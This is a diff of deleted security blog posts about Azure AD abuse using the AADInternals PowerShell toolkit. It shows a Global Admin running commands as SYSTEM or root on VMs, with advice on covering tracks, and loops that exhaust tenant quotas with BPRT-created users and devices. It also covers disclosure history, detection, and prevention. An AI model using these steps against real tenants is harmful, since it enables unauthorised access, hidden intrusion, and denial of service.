|
||||
|
||||
> Lets you manage virtual machines, **but not access to them**, and not the virtual network or storage account they're connected to.
|
||||
|
||||
So, what's the point of getting Virtual Machine Contributor, if you can't access them? Well, although not so well <a href="https://docs.microsoft.com/en-us/azure/virtual-machines/windows/run-command" target="_blank">documented</a>, the role **allows you to <a href="https://docs.microsoft.com/en-us/azure/virtual-machines/windows/run-command" target="_blank">run commands</a> on the VM as a system or root**!
|
||||
|
||||
Technically, the scripts are executed by the Azure VM agent installed on all Azure VMs.
|
||||
|
||||
**Note!** Unlike the global **User Access Administrator** role, the **Virtual Machine Contributor** is set **per Azure subscription**!
|
||||
|
||||
Let's start by giving an access to VMs of one of the subscriptions:
|
||||
{{< highlight powershell >}}
|
||||
# Grant Virtual Machine Contributor role to the current user
|
||||
Set-AADIntAzureRoleAssignment -AccessToken $at -SubscriptionId 867ae413-0ad0-49bf-b4e4-6eb2db1c12a0 -RoleName "Virtual Machine Contributor"
|
||||
{{< /highlight>}}
|
||||
|
||||
**Output:**
|
||||
```
|
||||
roleDefinitionId : /subscriptions/867ae413-0ad0-49bf-b4e4-6eb2db1c12a0/providers/Microsoft.Authorization/roleDefinitions/9980e02c-c2be-4d73-94e8-173b1dc7cf3c
|
||||
principalId : 90f9ca62-2238-455b-bb15-de695d689c12
|
||||
principalType : User
|
||||
scope : /subscriptions/867ae413-0ad0-49bf-b4e4-6eb2db1c12a0
|
||||
createdOn : 2020-06-03T11:29:58.1683714Z
|
||||
updatedOn : 2020-06-03T11:29:58.1683714Z
|
||||
createdBy :
|
||||
updatedBy : 90f9ca62-2238-455b-bb15-de695d689c12
|
||||
```
|
||||
|
||||
Now we can list the VMs to see if there is anything we are interested at. Again, you need to get a new Access Token as the permissions were changed:
|
||||
{{< highlight powershell >}}
|
||||
# Update the access token and save it to a variable (omit credentials if using MFA)
|
||||
$at=Get-AADIntAccessTokenForAzureCoreManagement -Credentials $cred
|
||||
|
||||
# List the VMs
|
||||
Get-AADIntAzureVMs -AccessToken $at -SubscriptionId 867ae413-0ad0-49bf-b4e4-6eb2db1c12a0
|
||||
{{< /highlight>}}
|
||||
|
||||
**Output:**
|
||||
```
|
||||
resourceGroup name location id computerName adminUserName vmSize OS
|
||||
------------- ---- -------- -- ------------ ------------- ------ --
|
||||
PRODUCTION Client westus c210d38b-3346-41d3-a23d-27988315825b Client AdminUSer Standard_A2_v2 Windows
|
||||
PRODUCTION DC westus 9b8f8753-196f-4f24-847a-e5bcb751936d DC AdminUSer Standard_DS1_v2 Windows
|
||||
PRODUCTION Exchange westus a12ffb24-a69e-4ce9-aff3-275f49bba315 Exchange AdminUSer Standard_DS2_v2 Windows
|
||||
PRODUCTION Server1 westus c7d98db7-ccb5-491f-aaeb-e71f0df478b6 Server1 AdminUSer Standard_DS1_v2 Windows
|
||||
TEST Server2 eastus ae34dfcc-ad89-4e53-b0b4-20d453bdfcef Server2 AdminUSer Standard_DS1_v2 Windows
|
||||
TEST Server3 eastus f8f6a7c5-9927-47f9-a790-84c866f5719c Server3 AzureUser Standard_B1ms Linux
|
||||
```
|
||||
|
||||
After giving yourself the Virtual Machine Contributor role, you can now run any script on any of the listed VMs (if they are running).
|
||||
|
||||
**Note!** In Windows VMs the scripts are **PowerShell** scripts and in Linux VMs **bash** scripts.
|
||||
|
||||
Let's start by running "whoami" on Server2
|
||||
|
||||
{{< highlight powershell >}}
|
||||
# Invoke "whoami" on Server2
|
||||
Invoke-AADIntAzureVMScript -AccessToken $at -SubscriptionId 867ae413-0ad0-49bf-b4e4-6eb2db1c12a0 -ResourceGroup TEST -Server Server2 -Script "whoami"
|
||||
{{< /highlight>}}
|
||||
|
||||
**Output:**
|
||||
```
|
||||
[stdout]
|
||||
nt authority\system
|
||||
|
||||
[stderr]
|
||||
```
|
||||
|
||||
As the output shows, you are actually **running the script as SYSTEM**!
|
||||
|
||||
Next, let's run the same script against Server3:
|
||||
{{< highlight powershell >}}
|
||||
# Get the Access Token
|
||||
$at=Get-AADIntAccessTokenForAzureCoreManagement
|
||||
|
||||
# Invoke "whoami" on Server3
|
||||
Invoke-AADIntAzureVMScript -AccessToken $at -SubscriptionId 867ae413-0ad0-49bf-b4e4-6eb2db1c12a0 -ResourceGroup TEST -Server Server3 -Script "whoami" -VMType Linux
|
||||
{{< /highlight>}}
|
||||
|
||||
**Output:**
|
||||
```
|
||||
Enable succeeded:
|
||||
[stdout]
|
||||
root
|
||||
|
||||
[stderr]
|
||||
```
|
||||
|
||||
Same here, you are **running the script as root**!
|
||||
|
||||
You can also run multi-line scripts, just use **`n** as a line separator:
|
||||
{{< highlight powershell >}}
|
||||
# Invoke multi-line script on Server2
|
||||
Invoke-AADIntAzureVMScript -AccessToken $at -SubscriptionId 867ae413-0ad0-49bf-b4e4-6eb2db1c12a0 -ResourceGroup PRODUCTION -Server Server2 -Script "whoami`nGet-Process 123123123"
|
||||
{{< /highlight>}}
|
||||
|
||||
**Output:**
|
||||
```
|
||||
[stdout]
|
||||
nt authority\system
|
||||
|
||||
[stderr]
|
||||
Get-Process : Cannot find a process with the name "123123123". Verify the process name and call the cmdlet again.
|
||||
At C:\Packages\Plugins\Microsoft.CPlat.Core.RunCommandWindows\1.1.5\Downloads\script42.ps1:2 char:1
|
||||
+ Get-Process 123123123
|
||||
+ ~~~~~~~~~~~~~~~~~~~~~
|
||||
+ CategoryInfo : ObjectNotFound: (123123123:String) [Get-Process], ProcessCommandException
|
||||
+ FullyQualifiedErrorId : NoProcessFoundForGivenName,Microsoft.PowerShell.Commands.GetProcessCommand
|
||||
```
|
||||
|
||||
# Covering tracks
|
||||
|
||||
## Target VMs
|
||||
The scripts and their results are stored to target VMs. So, don't forget to clean your tracks 🤐
|
||||
|
||||
In **Windows**, the scripts and their statuses are stored at the following locations. The scripts are plain-text PowerShell script files and status files are plain-text JSON files.
|
||||
The **<version>** refers to the version number of the Azure VM agent, and the **<number>** to an automatically increased zero-based index.
|
||||
```
|
||||
C:\Packages\Plugins\Microsoft.CPlat.Core.RunCommandWindows\<version>\Downloads\script<number>.ps1
|
||||
C:\Packages\Plugins\Microsoft.CPlat.Core.RunCommandWindows\<version>\Status\<number>.status
|
||||
```
|
||||
In **Linux**, the file structure is a bit different and the locations are the following. All the files are plain-text files. Also here, the **<number>** is an automatically increased zero-based index.
|
||||
```
|
||||
/var/lib/waagent/run-command/download/<number>/script.sh
|
||||
/var/lib/waagent/run-command/download/<number>/stderr
|
||||
/var/lib/waagent/run-command/download/<number>/stdout
|
||||
```
|
||||
|
||||
## Azure AD and Azure logs
|
||||
All of the activies performed here are logged to corresponding Azure audit and/or activity logs. Not even Global Administrators are able to clear the logs, so there are always some indications of any rogue activity.
|
||||
|
||||
However, AFAIK, elevating yourself to User Access Management is not clearly visible in Azure or Azure AD audit logs. Granting Virtual Machine Contributor rights can be found at Activity log of the Azure subcsription.
|
||||
Also, running the scripts is logged to activity log, although the contents of the scripts are not logged.
|
||||
|
||||
# Summary
|
||||
As demonstrated, any **Global Administrator** of the Azure AD of Office/Microsoft 365 subscription can easily gain access to all Azure resources of all Azure subscriptions using the same Azure AD.
|
||||
For most, this is not a very intuitive and should therefore be clearly explained by Microsoft in their customer-facing communication and all documentation.
|
||||
|
||||
This is just another reason for **limiting the number Global Admins**! According to Microsoft, there should be <a href="https://docs.microsoft.com/en-us/azure/virtual-machines/windows/run-command" target="_blank">no more than four</a> dedicated Global Administrators.
|
||||
And **don't forget the MFA!**
|
||||
|
||||
# Credits
|
||||
* Sean Metcalf (<a href="https://twitter.com/PyroTek3" target="_blank">@Pyrotek3</a>): <a href="https://www.hub.trimarcsecurity.com/post/webcast-securing-office-365-and-azure-ad-defend-your-tenant" target="_blank">Webcast: Securing Office 365 and Azure AD Defend Your Tenant</a>
|
||||
@@ -1,432 +0,0 @@
|
||||
+++
|
||||
title = "BPRT unleashed: Joining multiple devices to Azure AD and Intune"
|
||||
date = "2021-01-31"
|
||||
lastmod = "2022-09-26"
|
||||
categories =["blog"]
|
||||
tags = ["Azure Active Directory","Azure","security","MFA","BPRT"]
|
||||
thumbnail = "/images/posts/bprt.png"
|
||||
+++
|
||||
|
||||
In October 2020, someone contacted me and asked whether it would be possible
|
||||
to create BPRTs using AADInternals. I hadn't even heard of BPRTs, but was eventually able to help him to create BPRTs. Now this
|
||||
functionality is included in **<a href="/aadinternals/" target="_blank">AADInternals</a> v0.4.5**.
|
||||
|
||||
In this blog, I'll explain what BPRTs are and how they can be used to join multiple devices to both Azure AD and Intune.
|
||||
I'll also show the dark side of BPRTs: how they can be used to conduct DOS attacks against Azure AD, and how to detect and prevent this.
|
||||
|
||||
<!--more-->
|
||||
# What is BPRT
|
||||
|
||||
BPRT token is a Bulk Primary Refresh Token, sometimes also called "Bulk AAD Token", which is used to enroll multiple devices to Azure AD and Microsoft Endpoint Manager (Intune).
|
||||
|
||||
According to Microsoft's bulk device enrollment <a href="https://docs.microsoft.com/en-us/mem/intune/enrollment/windows-bulk-enroll" target="_blank">documentation</a>:
|
||||
|
||||
> **As an administrator**, you can join large numbers of new Windows devices to Azure Active Directory and Intune. To bulk enroll devices for your Azure AD tenant, you create a provisioning package with the Windows Configuration Designer (WCD) app.
|
||||
|
||||
This implies that in order to create BPRTs, one should be an administrator. However, the documentation also states the following (added after my report in January 2021):
|
||||
|
||||
> Creating a provisioning package **does not require any administrator roles** in your Azure AD tenant.
|
||||
|
||||
# How to create BPRT token?
|
||||
|
||||
## Windows Configuration Designer (WCD)
|
||||
|
||||
Lets see how the BPRT is created with an official Microsoft tool, Windows Configuration Designer (WCD), which can be installed from <a href="https://www.microsoft.com/p/windows-configuration-designer/9nblggh4tx22" target="_blank">Microsoft Store</a>.
|
||||
|
||||
First, create a new provisioning package:
|
||||
|
||||

|
||||
|
||||
Second, go to **Account management**, select **Enroll in Azure AD** and click **Get Bulk Token**:
|
||||
|
||||

|
||||
|
||||
After clicking the button, user is prompted for credentials. If the WCD is not used earlier, an app consent is presented:
|
||||
|
||||

|
||||
|
||||
The status line is shown after the BPRT is fetched. I also noticed that the default user name for an extra local admin account is "ScottLock" 🤔
|
||||
|
||||
To see the token, click **Switch to advanced editor**
|
||||
|
||||

|
||||
|
||||
Expand **Runtime settings** > **Accounts** > **Azure** and click **BPRT**. The token can now be copied (or replaced with the one created with AADInternals).
|
||||
|
||||

|
||||
|
||||
Now the created provisioning package can be used to join devices automatically to Azure AD.
|
||||
|
||||
## AADInternals
|
||||
|
||||
Now that we know how to create BPRT token "properly", next step is to learn what happens on the background.
|
||||
|
||||
The first step is the authentication and authorisation. The access token was fetched using the client id of Windows Configuration Designer and had the following content (only relevant information shown):
|
||||
|
||||
```
|
||||
aud : urn:ms-drs:enterpriseregistration.windows.net
|
||||
appid : de0853a1-ab20-47bd-990b-71ad5077ac7b
|
||||
scp : self_service_device_delete
|
||||
```
|
||||
After testing, I was able to confirm that the registration was not bound to WCD client id. This means that other client ids, such as AAD Graph, could be used as long as the resource (audience) is correct.
|
||||
The audience refers to Device Registration Service (DRS).
|
||||
|
||||
Next, a http post was made to:
|
||||
```
|
||||
https://login.microsoftonline.com/webapp/bulkaadjtoken/begin
|
||||
```
|
||||
The sent payload was the following:
|
||||
|
||||
{{< highlight json >}}
|
||||
{
|
||||
"pid": "6d762967-8f0f-40cb-8031-1726eb261259",
|
||||
"name": "package_6d762967-8f0f-40cb-8031-1726eb261259",
|
||||
"exp": "03/1/2021"
|
||||
}
|
||||
{{< /highlight>}}
|
||||
|
||||
The used parameters are as follows:
|
||||
|
||||
Parameter | Explanation
|
||||
--- | ---
|
||||
pid | Package identifier. A random GUID of the package. The resulting user will have an upn in the form "package_<pid>@<default domain>"
|
||||
name | The display name of the resulting user. Can be any string.
|
||||
exp | Date of expiration. Must be less than 180 days from the current date.
|
||||
|
||||
As a response, a flow token (redacted) and status were returned:
|
||||
|
||||
{{< highlight json >}}
|
||||
{
|
||||
"flowToken": "AQABAAEAAAD..",
|
||||
"state": "Started",
|
||||
"resultData": null
|
||||
}
|
||||
{{< /highlight>}}
|
||||
|
||||
After this, a http get request was made using the flowToken from the response as a query parameter:
|
||||
```
|
||||
https://login.microsoftonline.com/webapp/bulkaadjtoken/poll?flowToken=AQABAAEAAAD..
|
||||
```
|
||||
|
||||
As a response, the BPRT was returned in resultData:
|
||||
{{< highlight json >}}
|
||||
{
|
||||
"flowToken": null,
|
||||
"state": "CompleteSuccess",
|
||||
"resultData": "{\"token_type\":\"Bearer\", ...}"
|
||||
}
|
||||
{{< /highlight>}}
|
||||
|
||||
The resultData contains id token and refresh token for the resulting user. The refresh token is the actual BPRT:
|
||||
{{< highlight json >}}
|
||||
{
|
||||
"token_type": "Bearer",
|
||||
"expires_in": "2393336",
|
||||
"ext_expires_in": "0",
|
||||
"expires_on": "1614556799",
|
||||
"refresh_token": "0.AAAAxkwDR.AgABAAAAAAD...",
|
||||
"refresh_token_expires_in": 2393336,
|
||||
"id_token": "eyJ0e..."
|
||||
}
|
||||
{{< /highlight>}}
|
||||
|
||||
Now what is this "resulting user" mentioned above you may think. Well, as it turns out, creating a BPRT **creates a user object to Azure AD**!
|
||||
The upn of the user will always be "package_<pid>@<default domain>" but the display name can be freely selected.
|
||||
|
||||
**AADInternals** have had a function for creating the BPRT since v0.4.5:
|
||||
|
||||
{{< highlight powershell >}}
|
||||
# Get the access token
|
||||
Get-AADIntAccessTokenForAADGraph -Resource urn:ms-drs:enterpriseregistration.windows.net -SaveToCache
|
||||
|
||||
# Create a new BPRT
|
||||
$bprt = New-AADIntBulkPRTToken -Name "My BPRT user"
|
||||
{{< /highlight>}}
|
||||
**Output:**
|
||||
```
|
||||
BPRT saved to package_8eb8b873-2b6a-4d55-bd96-27b0abadec6a-BPRT.json
|
||||
```
|
||||
|
||||
**Note!** If you got an error "AADSTS240001: User is not authorized to register devices in Azure AD.", there can be two reasons for this.
|
||||
First is that the user does not have rights to register devices. Another reason is, that WCD app has not been given consent.
|
||||
The admin consent can be given using the following link: https://<a href="https://login.microsoftonline.com/common/adminConsent?client_id=de0853a1-ab20-47bd-990b-71ad5077ac7b&redirect_uri=https://portal.azure.com/TokenAuthorize" target="_blank">login.microsoftonline.com/common/adminConsent?client_id=de0853a1-ab20-47bd-990b-71ad5077ac7b&redirect_uri=https://portal.azure.com/TokenAuthorize</a>
|
||||
and the user consent with: https://<a href="https://login.microsoftonline.com/common/oauth2/authorize?client_id=de0853a1-ab20-47bd-990b-71ad5077ac7b&response_type=code" target="_blank">login.microsoftonline.com/common/oauth2/authorize?client_id=de0853a1-ab20-47bd-990b-71ad5077ac7b&response_type=code</a>.
|
||||
After the admin consent is given, the browser may stay "loading" the page due to redirect url the app is using - this is ok and can be ignored.
|
||||
|
||||
**Note!** For the new tenants the consent for WCD app is required. For older tenants, this seems not to be case. Moreover, removing the app/consent does not remove the functionality 😥
|
||||
Apparently, giving the consent to WCD app does something irreversible to the tenant.
|
||||
|
||||
# How to use BPRT token?
|
||||
|
||||
Now that we know that we can create BPRTs, the obvious question is what can we do with them? The first usage scenario is to create BPRTs programmatically, allowing automatisation of creating provisioning packages.
|
||||
|
||||
Another scenario is to enroll devices to Azure AD and Intune like the Windows devices would after the provisioning package is applied.
|
||||
|
||||
So what happens when the device is enrolling to Azure AD and Intune with BPRT?
|
||||
|
||||
First, the device will get an access token for Azure AD Join using the BPRT. Luckily, this is just
|
||||
a normal flow where a new access token is fetched using BPRT as a refresh token. The only limitation seems to be that
|
||||
with BPRT, access tokens are only provided for Azure AD Join and Intune MDM client ids.
|
||||
|
||||
With AADInternals, the BPRT can used to get access token for AAD Join:
|
||||
|
||||
{{< highlight powershell >}}
|
||||
# Get the access token for AAD Join using BPRT
|
||||
Get-AADIntAccessTokenForAADJoin -BPRT $BPRT -SaveToCache
|
||||
{{< /highlight>}}
|
||||
|
||||
And now we have a working access token and we can join devices to Azure AD and create PRTs as explained in my earlier <a href="/post/prt/#creating-your-own-prt" target="_blank">blog post</a>:
|
||||
|
||||
{{< highlight powershell >}}
|
||||
# Join the device to Azure AD
|
||||
Join-AADIntDeviceToAzureAD -DeviceName "My computer"
|
||||
{{< /highlight>}}
|
||||
```
|
||||
Device successfully registered to Azure AD:
|
||||
DisplayName: "My computer"
|
||||
DeviceId: d03994c9-24f8-41ba-a156-1805998d6dc7
|
||||
Cert thumbprint: 78CC77315A100089CF794EE49670552485DE3689
|
||||
Cert file name : "d03994c9-24f8-41ba-a156-1805998d6dc7.pfx"
|
||||
Local SID:
|
||||
S-1-5-32-544
|
||||
Additional SIDs:
|
||||
S-1-12-1-797902961-1250002609-2090226073-616445738
|
||||
S-1-12-1-3408697635-1121971140-3092833713-2344201430
|
||||
S-1-12-1-2007802275-1256657308-2098244751-2635987013
|
||||
```
|
||||
|
||||
Similarly, we can get an access token for Intune with BPRT and Azure AD device certificate:
|
||||
|
||||
{{< highlight powershell >}}
|
||||
# Get the access token for Intune using BPRT and Azure AD device certificate
|
||||
Get-AADIntAccessTokenForIntuneMDM -BPRT $BPRT -PfxFileName .\d03994c9-24f8-41ba-a156-1805998d6dc7.pfx -SaveToCache
|
||||
{{< /highlight>}}
|
||||
|
||||
And finally, we can enroll the device to Intune:
|
||||
|
||||
{{< highlight powershell >}}
|
||||
# Enroll the device to Intune
|
||||
Join-AADIntDeviceToIntune -DeviceName "My computer"
|
||||
{{< /highlight>}}
|
||||
```
|
||||
Intune client certificate successfully created:
|
||||
Subject: "CN=5ede6e7a-7b77-41bd-bfe0-ef29ca70a3fb"
|
||||
Issuer: "CN=Microsoft Intune MDM Device CA"
|
||||
Cert thumbprint: A1D407FF66EF05D153B67129B8541058A1C395B1
|
||||
Cert file name: "d03994c9-24f8-41ba-a156-1805998d6dc7-MDM.pfx"
|
||||
CA file name : "d03994c9-24f8-41ba-a156-1805998d6dc7-MDM-CA.der"
|
||||
IntMedCA file : "d03994c9-24f8-41ba-a156-1805998d6dc7-MDM-INTMED-CA.der"
|
||||
```
|
||||
|
||||
# How to abuse Azure AD with BPRTs
|
||||
|
||||
As always, the biggest question in this blog is how we can abuse Azure AD with the things we have learned? So far, I've found two scenarios.
|
||||
|
||||
## Fill Azure AD with users
|
||||
As we've learned, creating a BPRT creates also a user object to Azure AD. We've also learned that creating a BPRT does not require any admin rights.
|
||||
As per Microsoft <a href="https://docs.microsoft.com/en-us/azure/active-directory/enterprise-users/directory-service-limits-restrictions" target="_blank">documentation</a>, a non-admin user can create no more than 250 objects to Azure AD.
|
||||
However, this limit does NOT apply for BPRTs ☹
|
||||
|
||||
As such, in practice, this means that a **normal user can create user objects until the Azure AD quota limit is reached!** 🤦
|
||||
|
||||
To demonstrate this, I used the following simple script to fill Azure AD with BPRTs:
|
||||
|
||||
{{< highlight powershell >}}
|
||||
# Get the access token
|
||||
Get-AADIntAccessTokenForAADGraph -Resource urn:ms-drs:enterpriseregistration.windows.net -SaveToCache
|
||||
|
||||
# Create objects until quota reached
|
||||
for($a = 1 ; $a -lt 50000 ; $a++)
|
||||
{
|
||||
$name = 'BPRT-{0:d5}' -f $a
|
||||
try{
|
||||
New-AADIntBulkPRTToken -Name $name | Out-Null
|
||||
} catch{}
|
||||
}
|
||||
{{< /highlight>}}
|
||||
|
||||
The throughput is only 23 users per minute, so I eventually used multiple PowerShell sessions to speed things up.
|
||||
|
||||
The following animation shows that after the quota is reached, no new users can be added:
|
||||
|
||||

|
||||
|
||||
## Fill Azure AD with devices
|
||||
|
||||
As we've learned, the BPRT can be used join devices to Azure AD and Intune. As the BPRT represents a user, it would be
|
||||
fair to assume that the same limitations apply to those users as well. Especially, when the WCD mentiones that the default limit is 20:
|
||||
|
||||

|
||||
|
||||
In my test tenant, I had a 50 device limit per user:
|
||||
|
||||

|
||||
|
||||
Guess what? Yep, that device limit does not apply for "BPRT users" ☹
|
||||
|
||||
Again, in practice, this means that a **normal user can create device objects until the Azure AD quota limit is reached!** 🤦
|
||||
|
||||
To demonstrate this, I used the following simple script to fill Azure AD with devices:
|
||||
|
||||
{{< highlight powershell >}}
|
||||
# Get the access token
|
||||
Get-AADIntAccessTokenForAADJoin -BPRT $bprt -SaveToCache
|
||||
|
||||
# Create devices until quota reached
|
||||
for($a = 1 ; $a -lt 50000 ; $a++)
|
||||
{
|
||||
$name = 'DEV-{0:d5}' -f $a
|
||||
try{
|
||||
Join-AADIntDeviceToAzureAD -DeviceName $name
|
||||
} catch{}
|
||||
}
|
||||
{{< /highlight>}}
|
||||
|
||||
The throughput was a bit higher, about 90 users per minute, but I still used multiple PowerShell sessions to speed things up.
|
||||
|
||||
The following animation shows that after the quota is reached, no new users can be added:
|
||||
|
||||

|
||||
|
||||
# Microsoft response
|
||||
|
||||
Naturally, all this made feel very uncomfortable as a normal non-admin user can make a Denial of Service (DOS) attack against their own tenant. This, naturally, had to be reported to Microsoft.
|
||||
|
||||
My initial report was following:
|
||||
|
||||
> According https://docs.microsoft.com/en-us/mem/intune/enrollment/windows-bulk-enroll an admin can create a bulk AAD token (BPRT), which can be used to enroll multiple devices to Azure AD and Intune. <br><br>
|
||||
> I noticed, that a regular user without any admin rights can also create a BPRT. As such, they can add devices without number restrictions (if joining to AAD is allowed). <br><br>
|
||||
> As I'm planning to publish a blog post and toolkit regarding to this, I'd like to know is this expected behavior?
|
||||
|
||||
Here is the full timeline of my correspondence with Microsoft on January 2021:
|
||||
|
||||
Date | Description
|
||||
--- | ---
|
||||
13th | Initial report
|
||||
13th | **Response**: "In order to investigate your report I will need a valid proof of concept (POC) ideally with images or video.."
|
||||
16th | Created a ten minute <a href="https://youtu.be/aaqEZ-yJNFA" target="_blank">POC video</a> and resubmitted the report
|
||||
16th | **Response**: "In order to investigate your report I will need a valid proof of concept (POC) ideally with images or video..".
|
||||
17th | Send an email explaining I've done all I've could and assume that MSRC does not regard this a vulnerability and will publish my findings.
|
||||
20th | **Response**: "In order to investigate your report I will need detailed steps to reproduce your reported issue consistently, ideally with attached images or video." <br> "If you believe this to be a misunderstanding of the report, submit a new report."
|
||||
20th | Created another <a href="https://youtu.be/lGjVcVCRI6M" target="_blank">POC video</a> and resubmitted the report again
|
||||
20th | **Response**: "Thank you for contacting the Microsoft Security Response Center (MSRC). I've opened a case for this issue"
|
||||
27th | **Response**: "Upon investigation, we have determined that **this submission is by design and does not meet the definition of a security vulnerability for servicing**. This report does not appear to identify a weakness in a Microsoft product or service that would enable an attacker to compromise the integrity, availability, or confidentiality of a Microsoft offering."
|
||||
|
||||
Reporting findings to MSRC was (again) a very frustrating experience. For instance, the POC video was first viewed after my THIRD post: the first video had 10 views and the second one 4 views on Jan 20th, but no
|
||||
views between 20th and 27th. However, AFTER receiving the anticipated "by design" response from MSRC, they have viewed the videos an extra 20 times.
|
||||
|
||||
It is also interesting that the documentation was changed after my report, but the page seems to be edited in November 2020, not January 2021 🤔. The original page
|
||||
can be seen in the beginning of the first POC.
|
||||
|
||||
**Sep 26 2022:** As this is an old blog post, I wanted to add that **my experience with MSRC has improved greatly** since this blog post.
|
||||
This is a good reminder though that it is not always easy to report to vendors about something that is clearly wrong.
|
||||
Having said that, as of today, **this issue has still not been fixed**.
|
||||
|
||||
# Detecting
|
||||
|
||||
## Windows Configuration Designer consent
|
||||
First sign for BPRT abuse is consentint the WCD app. **Note:** This can also be a normal behaviour!
|
||||
|
||||
When the consent is given for the WCD app, an entry is created in **Audit log**. We are interested in the activity type "Consent to application"
|
||||
where the target is "Windows Configuration Designer (WCD)":
|
||||
|
||||

|
||||
|
||||
|
||||
## Device Registration Service access token
|
||||
Second sign for BPRT abuse is getting the access token for Device Registration Service (DSR). The resource id of DSR is:
|
||||
```
|
||||
01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9
|
||||
```
|
||||
|
||||
In the "normal" process the WCD application id is used:
|
||||
```
|
||||
de0853a1-ab20-47bd-990b-71ad5077ac7b
|
||||
```
|
||||
So, if the DSR access token is not fetched using WCD client id, it is likely a sign of abusive behavior. For instance AADInternals is currently using
|
||||
Azure Active Directory PowerShell client id. The following screen shot from **Sign-ins log** shows an entry generated when access token is fetched using AADInternals (can be interactive or non-interactive):
|
||||
|
||||

|
||||
|
||||
## Creating BPRTs
|
||||
Third sign for BPRT abuse is the actual creation of BPRTs. This can be detected from the **Audit log**. Below is an example of an Audit log entry where the user created a BPRT.
|
||||
|
||||
In the Activity tab, we can see that the corresponding user is created by "Microsoft.Azure.SyncFabric" Service Principal, not the user.
|
||||
|
||||

|
||||
|
||||
In the Modified Properties tab, we can see that the UPN of user creating the BPRT is added to **OtherMail** attribute of the resulting user.
|
||||
We can also see that the **UserPrincipalName** starts always with "package_" prefix.
|
||||
|
||||

|
||||
|
||||
BPRT creation can also be spotted from **Sign-ins log** as the created user is logged in within one to two seconds after it is created using
|
||||
the following "AADJ CSP" client id and an empty Resource ID:
|
||||
```
|
||||
b90d5b8f-5503-4153-b545-b31cecfaece2
|
||||
```
|
||||
|
||||

|
||||
|
||||
## Using BPRT to get access tokens
|
||||
|
||||
**Note:** Using BPRT is not always rogue behaviour: it is meant for joining multiple devices!
|
||||
|
||||
The access tokens fetched for **AAD Join** using BPRT can be seen in **User sign-ins (non-interactive)** tab of the **Sign-ins log**.
|
||||
The used client id is again "AADJ CSP" but now the resource is DSR:
|
||||
|
||||

|
||||
|
||||
Similarly, the access tokens fetched for **Intune** using BPRT can be seen in **User sign-ins (non-interactive)** tab of the **Sign-ins log**.
|
||||
The used client id is again "AADJ CSP" but now the resource is Microsoft Intune Enrollment:
|
||||
```
|
||||
d4ebce55-015a-49b5-a083-c84d1797ae8c
|
||||
```
|
||||
|
||||

|
||||
|
||||
## Enrolling devices to Azure AD
|
||||
|
||||
**Note:** Using BPRT is not always rogue behaviour: it is meant for joining multiple devices!
|
||||
|
||||
When the device is joined to Azure AD, there are multiple events in the **Audit log**.
|
||||
The event we are interested in is of type "Add registered owner to device". In the **Target(s)** tab we can see that the target user's UPN starts with
|
||||
"package_" and thus is a BPRT user.
|
||||
|
||||

|
||||
|
||||
## Enrolling devices to Intune
|
||||
|
||||
**Note:** Using BPRT is not always rogue behaviour: it is meant for joining multiple devices!
|
||||
|
||||
When the device is succesfully joined to Intune, there is one event in the **Audit log**.
|
||||
The event we are interested in is of type "Update device" initiated by "Microsoft Intune".
|
||||
In the **Target(s)** tab we can see the ID of the device which matches the one seen above.
|
||||
In the **Modified Properties** tab we can see that the "IsManaged" property is set to "true":
|
||||
|
||||

|
||||
|
||||
# Preventing
|
||||
|
||||
One prequisite for creating BPRTs is that the Windows Configuration Designer (WCD) app has been given a consent by an administrator.
|
||||
Therefore, it would be fair to assume that removing the app would prevent creating BPRTs. However, based on my observations, **removing the WCD app
|
||||
does not prevent creating BPRTs using different client ids!**
|
||||
|
||||
To my best knowledge, only way to prevent creating BPRTs is to prevent users joining devices to Azure AD:
|
||||
|
||||

|
||||
|
||||
# Summary
|
||||
|
||||
BPRT tokens can be easily created with AADInternals without any administrator rights, provided that the user has rights to enroll devices to Azure AD and that WCD app has been used earlier in the tenant.
|
||||
This allows rogue users to conduct DOS attacks against their tenant by filling Azure AD with user objects.
|
||||
|
||||
With a BPRT, an access token can be fetched to join devices to Azure AD and Intune, provided that the BPRT user has rights to enroll devices to Azure AD and Intune.
|
||||
This allows rogue users to conduct DOS attacks against their tenant by filling Azure AD with device objects, regardless of the device number restrictions. All other restrictions, like Intune
|
||||
device type restrictions are still applied.
|
||||
|
||||
**Only way to prevent creating BPRTs is to prevent users joining devices to Azure AD!**
|
||||
|
||||
# References
|
||||
* Microsoft: <a href="https://docs.microsoft.com/en-us/mem/intune/enrollment/windows-bulk-enroll" target="_blank">Bulk enrollment for Windows devices</a>
|
||||
* Microsoft: <a href="https://docs.microsoft.com/en-us/azure/active-directory/enterprise-users/directory-service-limits-restrictions" target="_blank">Azure AD service limits and restrictions</a>
|
||||
@@ -1,239 +0,0 @@
|
||||
+++
|
||||
title = "Using Azure Cloud Shell from PowerShell"
|
||||
date = "2020-09-30"
|
||||
lastmod = "2020-09-30"
|
||||
categories =["blog"]
|
||||
tags = ["Azure","security","MFA","PRT"]
|
||||
thumbnail = "/images/posts/cloudshell.png"
|
||||
+++
|
||||
|
||||
Azure Cloud Shell is a browser-based shell for managing Azure resources using your favourite shell, Bash or PowerShell.
|
||||
Cloud Shell is typically used from Azure Portal. It provides an easy access to Azure CLI, Azure PowerShell and Azure AD PowerShell.
|
||||
|
||||
In this blog, I'll introduce a new way to access Cloud Shell from PowerShell (requires **AADInternals v0.4.3** or newer).
|
||||
|
||||
<!--more-->
|
||||
# What Azure Cloud Shell
|
||||
|
||||
As per Microsoft <a href="https://docs.microsoft.com/en-us/azure/cloud-shell/overview" target="_blank">documentation</a>:
|
||||
|
||||
> Azure Cloud Shell is an interactive, authenticated, browser-accessible shell for managing Azure resources. It provides the flexibility of choosing the shell experience that best suits the way you work, either Bash or PowerShell.
|
||||
|
||||
Cloud Shell can be accessed in four different ways: Using a direct link (<a href="https://shell.azure.com">shell.azure.com</a>),
|
||||
from Azure portal, from docs.microsoft.com code snippets, and now from PowerShell with AADInternals.
|
||||
|
||||
Typically, the Cloud Shell is used from the Azure portal:
|
||||

|
||||
|
||||
The nicest feature of the Cloud Shell is that it comes with pre-installed PowerShell and CLI tools for managing Azure.
|
||||
|
||||
For instance, listing the available PowerShell modules shows that we have all we need to manage Azure and Azure AD.
|
||||
|
||||
{{< highlight powershell >}}
|
||||
PS /home/admin> Get-Module -ListAvailable
|
||||
{{< /highlight>}}
|
||||
```
|
||||
Directory: /usr/local/share/powershell/Modules
|
||||
|
||||
ModuleType Version PreRelease Name PSEdition ExportedCommands
|
||||
---------- ------- ---------- ---- --------- ----------------
|
||||
Script 4.7.0 Az Core,Desk
|
||||
